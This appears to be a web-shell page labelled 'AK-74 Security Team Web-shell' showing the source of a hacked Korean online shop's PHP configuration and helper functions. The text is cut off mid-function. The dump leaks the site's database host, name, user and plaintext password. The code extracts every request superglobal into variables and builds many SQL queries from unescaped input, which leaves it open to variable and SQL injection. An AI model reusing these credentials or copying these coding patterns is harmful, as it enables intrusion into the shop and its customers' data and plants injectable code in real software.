.:: :[ AK-74 Security Team Web-shell ]: ::.
phpinfo()
PHP
<? $HostName = "localhost"; $DbName = "toolmt"; $Admin = "toolmt"; $AdminPass = "!@qhdkscjfwj!@"; require '/var/www/html/autocart/smarty/libs/Smarty.class.php'; $ArticleTable = "article"; $BannerTable = "banner"; $BankTable = "bank"; $BonusTable = "bonus"; $CategoryTable = "category"; $CouponTable = "coupon"; $EstimateTable = "estimate"; $EventTable = "event"; $ItemTable = "item"; $Order_ProTable = "order_pro"; $Order_BuyTable = "order_buy"; $Order_Pro_BuyisTable = "order_pro_buyis"; $Order_Buy_BuyisTable = "order_buy_buyis"; $MartDesignTable = "martdesign"; $MyDesignTable = "mydesign"; $MartInfoTable = "martinfo"; $Mart_Member_NewTable = "mart_member_new"; $MartMngInfoTable = "martmnginfo"; $MartIntroTable = "martintro"; $MartBgColorTable = "martbgcolor"; $MemberTable = "member"; $PartnerTable = "partner"; $Member_WelcomeTable = "member_welcome"; $NoticeTable = "notice"; $PollTable = "poll"; $PostCodeTable = "postcode"; $ReceiptTable = "receipt"; $MenuTable = "menu"; $MetaTable = "meta"; $Mart_CounterTable = "mart_counter"; $VoteTable = "vote"; $Soho_CounterTable = "soho_counter"; $Blue_CounterTable = "blue_counter"; $BrandTable = "brand"; $Rel_ItemTable = "rel_item"; $Req_ItemTable = "req_item"; $User_GuideTable = "user_guide"; $Union_ListTable = "union_list"; $Union_QnaTable = "union_qna"; $Union_Order_BuyTable = "union_order_buy"; $New_ItemTable = "new_item"; $Fav_ItemTable = "fav_item"; $Rec_ItemTable = "rec_item"; $Present_ItemTable = "present_item"; $Gift_ItemTable = "gift_item"; $Partner_ConfTable = "partner_conf"; $Partner_BannerTable = "partner_banner"; $Mart_PartnerTable = "mart_partner"; $Partner_PaidTable = "partner_paid"; $Partner_BoardTable = "partner_board"; $Mem_GroupTable = "mem_group"; $Group_MemberTable = "group_member"; $Group_BoardTable = "group_board"; $Group_NoticeTable = "group_notice"; $Group_Board_ConfigTable = "group_board_config"; $New_BoardConfigTable = "new_boardconfig"; $New_BoardTable = "new_board"; $Union_ItemTable = "union_item"; $Union_OrderTable = "union_order"; $Pre_SelectTable = "pre_select"; $CatalogTable = "catalog"; $Catalog_ConfTable = "catalog_conf"; $Design2Table = "design2"; $Design2_Main2Table = "design2_main2"; $Design2_Temp2Table = "design2_temp2"; $Design2_Temp3Table = "design2_temp3"; $Design2_Temp4Table = "design2_temp4"; $Design2_Temp5Table = "design2_temp5"; $Design2_BottomTable = "design2_bottom"; $Title_ImageTable = "title_image"; $QuizTable = "quiz"; $Quiz_ApplyTable = "quiz_apply"; $Master_TipTable = "master_tip"; $Money_CheckTable = "money_check"; $Receipt_RequestTable = "receipt_request"; $ContentTable = "content"; $Domain_forwardTable = "domain_forward"; $Join_Form_SetTable = "join_form_set"; $Cart_ExplainTable = "cart_explain"; $Sms_ConfigTable= "sms_config"; $Page_ConfigTable = "page_config"; $Member_GroupTable = "member_group"; $Fran_ConfTable = "fran_conf"; $Fran_PaidTable = "fran_paid"; $Theme_ItemTable = "theme_item"; $Myshop_Partner_ConfTable = "myshop_partner_conf"; $Myshop_PartnerTable = "myshop_partner"; $VenderTable = "vender"; $Vender_CategoryTable = "vender_category"; $Vender_BoardTable = "vender_board"; $Vender_BoardConfigTable = "vender_boardconfig"; $Vender_Theme_ItemTable = "vender_theme_item"; $Vender_BannerTable = "vender_banner"; $Vender_CounterTable = "vender_counter"; $Estimate_ProTable = "estimate_pro"; $Estimate_BuyTable = "estimate_buy"; $Item_QnaTable="item_qna"; $Know_ConfTable = "know_conf"; $Know_Img_BannerTable = "know_img_banner"; $Know_CategoryTable = "know_category"; $Know_ItemTable = "know_item"; $Know_QuestionTable = "know_question"; $Know_AnswerTable = "know_answer"; $Know_ReportTable = "know_report"; $Know_ReplyTable = "know_reply"; $Know_BonusTable = "know_bonus"; $Know_InterviewTable = "know_interview"; $Know_WarnTable = "know_warn"; $Know_Main_HtmlTable = "know_main_html"; $Know_Customer_CenterTable = "know_customer_center"; $Know_BoardconfigTable = "know_boardconfig"; $Know_BoardTable = "know_board"; $Know_Board_ReplyTable = "know_board_reply"; $Know_Union_HtmlTable = "know_union_html"; $Know_Union_AskTable = "know_union_ask"; $LeftRightTable = "leftright"; $Board_CategoryTable = "board_category"; $Used_CategoryTable = "used_category"; $Brand_Rel_ItemTable = "brand_rel_item"; $Co_img_UP = "/var/www/html/autocart/co_img"; $Co_img_DOWN = "/autocart/co_img"; $Co_img_TMP = "/var/www/html/autocart/co_img_temp"; $Skin_UP = "/var/www/html/autocart/market/skin"; $DIR_PATH = "/var/www/html/data"; $BoardBC = 1; $PdsBC = 2; $GrpBoardBC = 3; $GrpPdsBC = 4; $BookBoardBC = 5; $OnStudyBC = 6; $ImapServer = "localhost"; $ImapPort = "143"; $PageCount = 3; $NoticePageCount = 10; $Level_A = "guest"; $Level_B = "notregister"; $Level_C = "customer"; $Level_D = "manager"; $Level_E = "admin"; $StrLevel_A = "손님"; $StrLevel_B = "비등록 사용자"; $StrLevel_C = "등록 사용자"; $StrLevel_D = "중간관리자"; $StrLevel_E = "관리자"; $MenuNotice = "notice"; $MenuBoard = "board"; $MenuPds = "pds"; $MenuMemo = "memo"; $MenuCalendar = "cal"; $MenuMail = "mail"; $MenuAdmin = "admin"; $MenuBook = "book"; $MenuOnStudy = "onstudy"; $MenuMyinfo = "myinfo"; $MenuSigan = "sigan"; $MenuGroup = "group"; $MenuCar = "car"; $MenuMaster = "master"; $News3_CategoryTable = "news3_category"; $News3_BoardconfigTable = "news3_boardconfig"; $News3_BoardTable = "news3_board"; $News3_Board_ReplyTable = "news3_board_reply"; $News3_Main_ArrayTable = "news3_main_array"; $News3_Txt_BannerTable="news3_txt_banner"; $Item_QnaTable="item_qna"; @extract($_GET); @extract($_POST); @extract($_SERVER); @extract($_FILES); @extract($_ENV); @extract($_COOKIE); @extract($_SESSION); $_GET = array_map('mysql_real_escape_string', $_GET); #$_POST = array_map('mysql_real_escape_string', $_POST); $_GET = array_map('sql_escape_string', $_GET); // 게시판 목록보기, 읽기, 쓰기, 파일받기 권한 체크 // 게시판명, 사용자 레벨, 체크할 사항 // 권한 있으면 true, 없으면 false 리턴 function Get_Limit_Price($item_no){ global $HostName, $DbName, $Admin, $AdminPass, $ConfigTable, $MenuTable, $Union_ItemTable; $SQL = "select * from $Union_ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); if(mysql_num_rows($dbresult)>0){ $z_price = mysql_result($dbresult, 0, "z_price"); return $z_price; } else return "상품삭제됨 "; } function Get_Slide_Price($item_no){ global $HostName, $DbName, $Admin, $AdminPass, $ConfigTable, $MenuTable, $Union_ItemTable; $SQL = "select * from $Union_ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); if(mysql_num_rows($dbresult)>0){ $number1_from = mysql_result($dbresult, 0, "number1_from"); $number1_to = mysql_result($dbresult, 0, "number1_to"); $number2_from = mysql_result($dbresult, 0, "number2_from"); $number2_to = mysql_result($dbresult, 0, "number2_to"); $number3_from = mysql_result($dbresult, 0, "number3_from"); $price1 = mysql_result($dbresult, 0, "price1"); $price2 = mysql_result($dbresult, 0, "price2"); $price3 = mysql_result($dbresult, 0, "price3"); $current_num = mysql_result($dbresult, 0, "current_num"); if($current_num >= $number1_from && $current_num <= $number1_to){ $current_price = $price1; } else if($current_num >= $number2_from && $current_num <= $number2_to){ $current_price = $price2; } else if($current_num >= $number3_from){ $current_price = $price3; } else { $current_price = $price1; } return $current_price; } else return "상품삭제됨 "; } function get_icon_str($item_no) { global $HostName, $DbName, $Admin, $AdminPass, $ItemTable, $Order_ProTable, $order_num; $SQL = "select icon_no,no_stock,etc_name1 from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $icon_no = mysql_result($dbresult,0,0); $no_stock = mysql_result($dbresult,0,1); $etc_name1 = mysql_result($dbresult,0,2); } $sql = "select * from $ItemTable where item_no='$item_no'"; $dbresult = mysql_query($sql); $row = mysql_fetch_array($dbresult); if($no_stock == 'Y' || $no_stock == '0') $icon_str = "<img src='/autocart/market/images/soldout_icon_s.gif' width='25' height='12'>"; else{ if($etc_name1) $icon_str .= " <img src='/autocart/market/images/attach.gif'>"; if(strstr($icon_no, '1')) $icon_str .= " <img src='/autocart/market/images/hot.gif'>"; if(strstr($icon_no, '2')) $icon_str .= " <img src='/autocart/market/images/best.gif'>"; if(strstr($icon_no, '3')) $icon_str .= " <img src='/autocart/market/images/sale.gif'>"; if(strstr($icon_no, '4')) $icon_str .= " <img src='/autocart/market/images/reserv.gif'>"; if(strstr($icon_no, '5')) $icon_str .= " <img src='/autocart/market/images/free.gif'>"; //if(strstr($icon_no, '6')) $icon_str .= " <img src='../images/mov_icon.gif'>"; if(strstr($icon_no, '6')) $icon_str .= " <img src='/autocart/market/images/video_icon.png'>"; if(strstr($icon_no, '7')) $icon_str .= " <img src='/autocart/market/images/icon_md.gif'>"; if(strstr($icon_no, '8')) $icon_str .= " <img src='/autocart/market/images/icon_busy.gif'>"; if($row['detail_name1']) { //$icon_str .= " <img src='../images/doc_attach.gif'>"; $icon_str .= " <img src='/autocart/market/images/doc_icon.png'>"; } if($row['send_fee_type'] == '착불') { $icon_str .= " <img src='/autocart/market/images/chakbul.gif'>"; } if($row['send_fee_type'] == '화물배송') { $icon_str .= " <img src='/autocart/market/images/whamul.gif'>"; } if($row['send_fee_type'] == '무료배송') { if(!strstr($icon_str, 'free.gif')) { $icon_str .= " <img src='/autocart/market/images/free.gif'>"; } } } return $icon_str; } function get_img_str($item_no,$tail1,$tail2) { global $HostName, $DbName, $Admin, $AdminPass, $ItemTable, $Co_img_UP, $Co_img_DOWN; $SQL = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $img_sml = mysql_result($dbresult,0,0); $img = mysql_result($dbresult,0,1); $img_big = mysql_result($dbresult,0,2); } if($img_sml != ""){ if (strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif')){ if(file_exists("$Co_img_UP/$img_sml")) $img_str = "<img src=\"$Co_img_DOWN/$img_sml\" $tail1>"; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_str = "<img src=\"$img_sml\" $tail1>"; } } else if($img != ""){ if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif')){ if(file_exists("$Co_img_UP/$img")) $img_str = "<img src=\"$Co_img_DOWN/$img\" $tail1>"; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_str = "<img src=\"$img\" $tail1>"; } } else if($img_big != ""){ if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif')){ if(file_exists("$Co_img_UP/$img_big")) $img_str = "<img src=\"$Co_img_DOWN/$img_big\" $tail1>"; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_str = "<img src=\"$img_big\" $tail1>"; } } else $img_str = "<img src=\"$Co_img_DOWN/noimage_s.gif\" $tail1>"; return $img_str; } function get_img_src($item_no) { global $HostName, $DbName, $Admin, $AdminPass, $ItemTable, $Co_img_UP, $Co_img_DOWN; $SQL = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $img_sml = mysql_result($dbresult,0,0); $img = mysql_result($dbresult,0,1); $img_big = mysql_result($dbresult,0,2); } $img_src = ""; if($img_sml != "" && file_exists("$Co_img_UP/$img_sml")){ if (strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif')){ $img_src = "$Co_img_DOWN/$img_sml"; } } else if($img != "" && file_exists("$Co_img_UP/$img")){ if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif')){ $img_src = "$Co_img_DOWN/$img"; } } else if($img_big != "" && file_exists("$Co_img_UP/$img_big")){ if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif')){ $img_src = "$Co_img_DOWN/$img_big"; } } else $img_src = "$Co_img_DOWN/noimage.gif"; return $img_src; } function get_img_str1($item_no,$tail1,$tail2) { global $HostName, $DbName, $Admin, $AdminPass, $ItemTable, $Co_img_UP, $Co_img_DOWN; $SQL = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $img_sml = mysql_result($dbresult,0,0); $img = mysql_result($dbresult,0,1); $img_big = mysql_result($dbresult,0,2); } if($img_sml != "" && file_exists("$Co_img_UP/$img_sml")){ if (strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif')){ $img_str = "<img src='$Co_img_DOWN/$img_sml' $tail1>"; } if (strstr(strtolower(substr($img_sml,-4)),'.swf')){ $img_str = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' $tail2> <param name=movie value='$Co_img_DOWN/$img_sml'> </object>"; } } else if($img != "" && file_exists("$Co_img_UP/$img")){ if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif')){ $img_str = "<img src='$Co_img_DOWN/$img' $tail1>"; } if (strstr(strtolower(substr($img,-4)),'.swf')){ $img_str = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' $tail2> <param name=movie value='$Co_img_DOWN/$img'> </object>"; } } else if($img_big != "" && file_exists("$Co_img_UP/$img_big")){ if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif')){ $img_str = "<img src='$Co_img_DOWN/$img_big' $tail1>"; } if (strstr(strtolower(substr($img_big,-4)),'.swf')){ $img_str = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' $tail2> <param name=movie value='$Co_img_DOWN/$img_big'> </object>"; } } else $img_str = "<img src='$Co_img_DOWN/noimage_s.gif' $tail1>"; return $img_str; } function get_member_price($username,$item_no) { return 1; } function get_price($username,$item_no,$option1_index_no='') { $sql1 = "select mem_type, discount_rate from mart_member_new where username='$username'"; $dbresult1 = mysql_query($sql1); $ary1 = mysql_fetch_array($dbresult1); $mem_type = $ary1['mem_type']; $cw_discount_rate = $ary1['discount_rate']; if($option1_index_no =='')//옵션가격 아닐 때 { $SQL = "select if_member_price,if_wholesale,member_price_percent,company_price_percent,mem_price1_percent,mem_price2_percent,mem_price3_percent, mem_price4_percent,mem_price5_percent from martmnginfo"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary = mysql_fetch_array($dbresult); $if_member_price=$ary[if_member_price]; $if_wholesale=$ary[if_wholesale]; $member_price_percent=$ary[member_price_percent]; $company_price_percent=$ary[company_price_percent]; $mem_price1_percent=$ary[mem_price1_percent]; $mem_price2_percent=$ary[mem_price2_percent]; $mem_price3_percent=$ary[mem_price3_percent]; $mem_price4_percent=$ary[mem_price4_percent]; $mem_price5_percent=$ary[mem_price5_percent]; $SQL = "select z_price,member_price,member_price1,member_price2,member_price3,member_price4,member_price5,vender, item_brand, cost from item where item_no='$item_no'"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $z_price=$ary[z_price]; $member_price=$ary[member_price]; $member_price1=$ary[member_price1]; $member_price2=$ary[member_price2]; $member_price3=$ary[member_price3]; $member_price4=$ary[member_price4]; $member_price5=$ary[member_price5]; $vender=$ary[vender]; $z_price_cw = $z_price; $sql1 = "select * from brand where brand_no='{$ary['item_brand']}' and now()>=ev_fr_date and now()<=ev_to_date"; $result1 = mysql_query($sql1); $row1 = mysql_fetch_array($result1); if($row1['ev_percent']) { if($row1['ev_from_cost'] == 'Y') { $z_price = round($ary['cost'] * (100-$row1['ev_percent']) / 100,-2); } else { $z_price = round($ary['z_price'] * (100-$row1['ev_percent']) / 100,-2); } $member_price = round($ary['member_price'] * (100-$row1['ev_percent']) / 100,-2); } if($vender == '' && $if_member_price=='1' && $if_wholesale=='') //회원가만 사용 { if($username!=''){ //회원일때 if($member_price > 0) $z_price = $member_price; else { if($mem_type == 'company') $z_price = round($z_price*($company_price_percent/100),-2); else $z_price = round($z_price*($member_price_percent/100),-2); } } } if($vender == '' && $if_member_price=='1' && $if_wholesale=='1') //회원가와 5단계도매가 사용 { if($username!=''){ //회원일때 $SQL="select perms from mart_member_new where username='$username'"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $perms=$ary[perms]; if($perms == ''){//일반회원 if($member_price > 0) $z_price = $member_price; else $z_price = round($z_price*($member_price_percent/100),-2); } if($perms == '1'){//1등급회원 if($member_price1 > 0) $z_price = $member_price1; else $z_price = round($z_price*($mem_price1_percent/100),-2); } if($perms == '2'){//2등급회원 if($member_price2 > 0) $z_price = $member_price2; else $z_price = round($z_price*($mem_price2_percent/100),-2); } if($perms == '3'){//3등급회원 if($member_price3 > 0) $z_price = $member_price3; else $z_price = round($z_price*($mem_price3_percent/100),-2); } if($perms == '4'){//4등급회원 if($member_price4 > 0) $z_price = $member_price4; else $z_price = round($z_price*($mem_price4_percent/100),-2); } if($perms == '5'){//5등급회원 if($member_price5 > 0) $z_price = $member_price5; else $z_price = round($z_price*($mem_price5_percent/100),-2); } } } if($cw_discount_rate>0) { $z_price = round($z_price_cw * (100-$cw_discount_rate) / 100,-2); } } else if($option1_index_no !='')//옵션 가격일때 { $SQL = "select z_price,bonus,mem_price,unit,unit_num,cus_discount_rate,mem_price1,mem_price2,mem_price3,mem_price4,mem_price5 from option_list where index_no='$option1_index_no'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $option_price=$ary[z_price]; $option_bonus=$ary[bonus]; $option_mem_price=$ary[mem_price]; $option_unit=$ary[unit]; $option_unit_num=$ary[unit_num]; $option_discount_rate=$ary[cus_discount_rate]; $option_mem_price1=$ary[mem_price1]; $option_mem_price2=$ary[mem_price2]; $option_mem_price3=$ary[mem_price3]; $option_mem_price4=$ary[mem_price4]; $option_mem_price5=$ary[mem_price5]; $z_price = $option_price; //echo "z_price=$z_price<br>"; $z_price_cw = $z_price; $SQL = "select if_member_price,if_wholesale,member_price_percent,mem_price1_percent,mem_price2_percent,mem_price3_percent, mem_price4_percent,mem_price5_percent from martmnginfo"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $if_member_price=$ary[if_member_price]; $if_wholesale=$ary[if_wholesale]; $member_price_percent=$ary[member_price_percent]; $mem_price1_percent=$ary[mem_price1_percent]; $mem_price2_percent=$ary[mem_price2_percent]; $mem_price3_percent=$ary[mem_price3_percent]; $mem_price4_percent=$ary[mem_price4_percent]; $mem_price5_percent=$ary[mem_price5_percent]; if($vender == '' && $if_member_price=='1' && $if_wholesale=='') //회원가만 사용 { if($username!=''){ //회원일때 if($option_mem_price > 0) $z_price = $option_mem_price; else $z_price = round($option_price*($member_price_percent/100),-2); } } if($vender == '' && $if_member_price=='1' && $if_wholesale=='1') //회원가와 5단계도매가 사용 { if($username!=''){ //회원일때 $SQL="select perms from mart_member_new where username='$username'"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $perms=$ary[perms]; if($perms == ''){//일반회원 if($option_mem_price > 0) $z_price = $option_mem_price; else $z_price = round($option_price*($member_price_percent/100),-2); } if($perms == '1'){//1등급회원 if($option_mem_price1 > 0) $z_price = $option_mem_price1; else $z_price = round($option_price*($mem_price1_percent/100),-2); } if($perms == '2'){//2등급회원 if($option_mem_price2 > 0) $z_price = $option_mem_price2; else $z_price = round($option_price*($mem_price2_percent/100),-2); } if($perms == '3'){//3등급회원 if($option_mem_price3 > 0) $z_price = $option_mem_price3; else $z_price = round($option_price*($mem_price3_percent/100),-2); } if($perms == '4'){//4등급회원 if($option_mem_price4 > 0) $z_price = $option_mem_price4; else $z_price = round($option_price*($mem_price4_percent/100),-2); } if($perms == '5'){//5등급회원 if($option_mem_price5 > 0) $z_price = $option_mem_price5; else $z_price = round($option_price*($mem_price5_percent/100),-2); } } } //echo "z_price=$z_price<br>"; //echo "option_unit_num=$option_unit_num<br>"; //echo "option_discount_rate=$option_discount_rate<br>"; if($cw_discount_rate>0) { $z_price = round($z_price_cw * (100-$cw_discount_rate) / 100,-2); } if($option_unit_num!='')$z_price = $z_price * $option_unit_num; //한 box,통에 여러개 들어있는 경우 if($option_discount_rate!='') $z_price = round($z_price-($z_price*$option_discount_rate/100),-2); //디스카운트 적용된 경우 } return $z_price; } function get_bonus($item_no,$option1_index_no='',$item_option='') { global $HostName, $DbName, $Admin, $AdminPass; if($option1_index_no !='')//옵션 가격일때 { $SQL = "select bonus from option_list where index_no='$option1_index_no'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $bonus=$ary[bonus]; } else if($item_option !='')//옵션 가격일때 { $SQL = "select io_bonus from item_option where io_no='$item_option'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $bonus=$ary[io_bonus]; } else { //옵션가격 아닐 때 $SQL = "select bonus from item where item_no='$item_no'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $bonus=$ary[bonus]; } return $bonus; } function get_no_stock($item_no,$option1_index_no) { global $HostName, $DbName, $Admin, $AdminPass; if($option1_index_no =='')//옵션가격 아닐 때 { $SQL = "select no_stock from item where item_no='$item_no'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $no_stock=$ary[no_stock]; } else if($option1_index_no !='')//옵션 가격일때 { $SQL = "select no_stock from option_list where index_no='$option1_index_no'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $no_stock=$ary[no_stock]; } return $no_stock; } function get_perms($username) { global $HostName, $DbName, $Admin, $AdminPass; $SQL="select perms from mart_member_new where username='$username'"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $perms=$ary[perms]; return $perms; } function han_substr($string, $limit_length, $suffix=''){ return mb_substr($string, 0, $limit_length).$suffix; /* $string_length = strlen( $string ); if($limit_length < $string_length ){ $string = substr( $string, 0, $limit_length ); for($i=0, $han_char=0; $i<$limit_length; $i++){ if( ord($string[$i])>127 ) $han_char++; } if($han_char%2==1) $limit_length--; $string=substr( $string, 0, $limit_length ).$suffix; } return $string; */ } //page 변수 이외의 변수가 존재할 경우의 페이지 이동 function page_list($numRows_tot,$page,$url,$cnfPagecount,$tail=""){ if ($cnfPagecount == "") $cnfPagecount = 2; $total_page = ($numRows_tot - 1) / $cnfPagecount; $total_page = intval($total_page)+1; if($page % 10 == 0) $start_page = $page - 9; else $start_page = $page - ($page % 10) + 1; $end_page = $start_page + 9; if($end_page >= $total_page) $end_page = $total_page; $prev_start_page = $start_page - 10; $next_start_page = $start_page + 10; if($page == 1){ echo (" <img src='../../market/images/re3.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ echo (" <a href='$url&page=1$tail' onfocus='blur()'> <img src='../../market/images/re3.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } if($start_page > 1){ echo (" <a href='$url&page=$prev_start_page$tail' onfocus='blur()'> <img src='../../market/images/re2.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ echo (" <img src='../../market/images/re2.gif' width='11' height='11' align='absmiddle' border='0'> "); } echo " "; for($i=$start_page;$i<=$end_page;$i++){ if($i == $page){ echo (" <b><font size='2' face='Verdana, Arial, Helvetica, sans-serif' color=red>$i</font></b> "); } else{ echo (" <a href='$url&page=$i$tail' onfocus='blur()'><font size='1' face='Verdana, Arial, Helvetica, sans-serif'>$i</font></a> "); } } echo " "; if($end_page < $total_page){ echo (" <a href='$url&page=$next_start_page$tail' onfocus='blur()'> <img src='../../market/images/ff.gif' width='11' height='11' align='absmiddle' border='0'> </a> "); } else{ echo (" <img src='../../market/images/ff.gif' width='11' height='11' align='absmiddle' border='0'> "); } if($page == $total_page){ echo (" <img src='../../market/images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> "); } else{ echo (" <a href='$url&page=$total_page$tail' onfocus='blur()'> <img src='../../market/images/ff2.gif' width='15' height='11' align='absmiddle' border='0'> </a> "); } } function get_whole_price_opt($username,$item_no,$index_no) { global $HostName, $DbName, $Admin, $AdminPass; $SQL = "select if_member_price,if_wholesale,member_price_percent from martmnginfo"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $if_member_price=$ary[if_member_price]; $if_wholesale=$ary[if_wholesale]; $member_price_percent=$ary[member_price_percent]; $SQL = "select perms from mart_member_new where username='$username'"; //echo "sql=$SQL <br>"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); $perms=$ary[perms]; $SQL = "select * from option_list where index_no='$index_no'"; $dbresult = mysql_query($SQL); $ary=mysql_fetch_array($dbresult); if($if_member_price == '1') { if($perms == '')//일반회원 { if($ary[mem_price] !='') $ary[price] = $ary[mem_price]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } } if($if_wholesale == '1') { if($perms == '1'){//1등급회원 if($ary[mem_price1] != '') $ary[price] = $ary[mem_price1]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } if($perms == '2'){//2등급회원 if($ary[mem_price2] != '') $ary[price] = $ary[mem_price2]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } if($perms == '3'){//3등급회원 if($ary[mem_price3] != '') $ary[price] = $ary[mem_price3]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } if($perms == '4'){//4등급회원 if($ary[mem_price4] != '') $ary[price] = $ary[mem_price4]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } if($perms == '5'){//5등급회원 if($ary[mem_price5] != '') $ary[price] = $ary[mem_price5]; else $ary[price] = round($ary[price]*($member_price_percent/100),-2); } } return $ary[price]; } function get_list_img_src($conn,$item_no) { global $ItemTable,$Co_img_UP; $SQL = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $img_sml = mysql_result($dbresult,0,0); $img = mysql_result($dbresult,0,1); $img_big = mysql_result($dbresult,0,2); } if($img_sml != "" && file_exists("$Co_img_UP/$img_sml")){ if (strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif')){ $img_src = "$img_sml"; } if (strstr(strtolower(substr($img_sml,-4)),'.swf')){ $img_src = "$img_sml"; } } else if($img != "" && file_exists("$Co_img_UP/$img")){ if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif')){ $img_src = "$img"; } if (strstr(strtolower(substr($img,-4)),'.swf')){ $img_src = "$img"; } } else if($img_big != "" && file_exists("$Co_img_UP/$img_big")){ if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif')){ $img_src = "$img_big"; } if (strstr(strtolower(substr($img_big,-4)),'.swf')){ $img_src = "$img_big"; } } else $img_src = "noimage_s.gif"; return $img_src; } function get_list_img_src2($conn,$item_no) { global $ItemTable,$Co_img_UP,$Co_img_DOWN; $sql = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; $dbresult = mysql_query($sql); $ary = mysql_fetch_array($dbresult); $img_sml = $ary[img_sml]; $img = $ary[img]; $img_big = $ary[img_big]; if($img_sml != "") { if ( strstr(strtolower(substr($img_sml,-4)),'.jpg') || strstr(strtolower(substr($img_sml,-4)),'.gif') || strstr(strtolower(substr($img_sml,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img_sml")) $img_src = $Co_img_DOWN.'/'.$img_sml; else if(strstr(strtolower(substr($img_sml,0,4)),'http')) $img_src = $img_sml; } } else if($img != "" ) { if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif') || strstr(strtolower(substr($img,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img")) $img_src = $Co_img_DOWN.'/'.$img; else if(strstr(strtolower(substr($img,0,4)),'http')) $img_src = $img; } } else if($img_big != "") { if (strstr(strtolower(substr($img_big,-4)),'.jpg') || strstr(strtolower(substr($img_big,-4)),'.gif') || strstr(strtolower(substr($img_big,-4)),'.swf') ) { if(file_exists("$Co_img_UP/$img_big")) $img_src = $Co_img_DOWN.'/'.$img_big; else if(strstr(strtolower(substr($img_big,0,4)),'http')) $img_src = $img_big; } } else $img_src = $Co_img_DOWN."noimage_s.gif"; return $img_src; } function get_detail_img_src($conn,$item_no) { global $ItemTable,$Co_img_UP; $SQL = "select img_sml,img,img_big from $ItemTable where item_no='$item_no'"; //echo "sql=$SQL"; $dbresult = mysql_query($SQL); $numRows = mysql_num_rows($dbresult); if($numRows > 0){ $img_sml = mysql_result($dbresult,0,0); $img = mysql_result($dbresult,0,1); $img_big = mysql_result($dbresult,0,2); } if($img != "" && file_exists("$Co_img_UP/$img")){ if (strstr(strtolower(substr($img,-4)),'.jpg') || strstr(strtolower(substr($img,-4)),'.gif')){ $img_src = "$img"; } if (strstr(strtolower(substr($img,-4)),'.swf')){ $img_src = "$img"; } } else if($img_big != "" && file_exists("$Co_img_UP/$img_big")){ if 